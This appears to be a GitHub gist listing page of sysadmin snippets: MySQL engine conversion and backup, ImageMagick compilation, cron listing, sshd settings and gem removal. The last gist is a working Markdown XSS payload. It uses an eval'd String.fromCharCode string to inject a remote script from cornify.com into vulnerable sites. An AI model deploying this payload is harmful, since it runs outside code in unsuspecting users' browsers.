Skip to content

Instantly share code, notes, and snippets.

@rgo
rgo / gist:1714339
Created February 1, 2012 01:14
Convert MyISAM tables to InnoDB
## Copied from: http://technotes.twosmallcoins.com/?p=356
# Get table listing and generate ALTER sql file
$ mysql -u foobar -p -e "show tables in <database> ;" | tail --lines=+2 | xargs -i echo "ALTER TABLE {} ENGINE=INNODB;" > alter_table.sql
# Execute ALTER sql queries generated to convert from MyISAM to InnoDB:
$ mysql -u foobar -p <database> < alter_table.sql
@rgo
rgo / gist:1714364
Created February 1, 2012 01:20
MySQL backup (saving engine used for table creation)
# I'm using --create-options to get all the info about table creation (i.e. engine=InnoDB)
$ mysqldump -u foobar -p --single-transaction --create-options <database> > file.sql
@rgo
rgo / compile_image_magick.txt
Created March 8, 2012 10:27
Compile latest ImageMagick version (useful for old distros)
## From http://johannes.jarolim.com/blog/2011/11/21/extreme-slow-imagemagick-on-vps-with-ubuntu/
#
# Execute as root
apt-get update
apt-get install build-essential
apt-get build-dep imagemagick
cd /usr/local/src
@rgo
rgo / gist:2025990
Created March 13, 2012 01:16
Gnome-shell dual monitor separate workspaces
# By default the behavior is:
# Primary monitor work as always and second monitor only have one and fixed workspace
# I.e. you change to next workspace, primary monitor change to this workspace and second monitor remain as is.
# The desired behaviour is:
# Primary monitor and secondary monitor are linked workspace.
# I.e. you change to next workspace, primary monitor change to this workspace and second monitor too.
$ gconf-editor
# Look for /desktop/gnome/shell/windows/workspaces_only_on_primary and set to false
@rgo
rgo / gist:3371771
Created August 16, 2012 17:15
Replace "url('../images/*.*)" by "url(<%= asset_path '*.* %>)"
" Replace "url('../images/*.*)" by "url(<%= asset_path '*.* %>)"
"
" Useful when you need to change a css file to be converted in a css.erb file
"
%s/url(\(\.\.\/images\/\)\(.\+\))/url\(<%= asset_path '\2' %>\)/gc
%s/url('\(\.\.\/images\/\)\(.\+\)')/url\(<%= asset_path '\2' %>\)/gc
@rgo
rgo / cronjobs_by_user.sh
Created July 9, 2013 14:26
List all cronjobs for all users
# From http://stackoverflow.com/questions/134906/how-do-i-list-all-cron-jobs-for-all-users
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
@rgo
rgo / sshd_config
Created September 5, 2013 09:15 — forked from knoopx/sshd_config
# This prevents capistrano from hanging when executing long tasks
# /etc/ssh/sshd_config
TCPKeepAlive yes
ClientAliveInterval 15
ClientAliveCountMax 5
# Restart sshd
@rgo
rgo / Rakefile
Created February 27, 2014 01:04
# change foo to your library name
# change Foo::Database to your Sequel database
namespace :bundler do
task :setup do
require 'rubygems'
require 'bundler/setup'
end
end
@rgo
rgo / remove_all_my_gems.sh
Last active August 29, 2015 13:57
One liner script to remove all my gems
# Remove all my gems
# From http://geekystuff.net/2009/01/14/remove-all-ruby-gems/
gem list | cut -d" " -f1 | xargs gem uninstall -aIx

Want to add Cornify (http://www.cornify.com/) to a website that has a Markdown XSS exploit?

![uh](http://example.com"onerror="javascript:eval\(String\.fromCharCode\(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,99,111,114,110,105,102,121,46,99,111,109,47,106,115,47,99,111,114,110,105,102,121,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,32,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,32,99,111,114,110,105,102,121,95,97,100,100,40,41,32,125,44,32,49,48,48,48,41,59\)\))

The above code does this:

var s=document.createElement('script'); s.src='http://www.cornify.com/js/cornify.js';document.getElementsByTagName('head')[0].append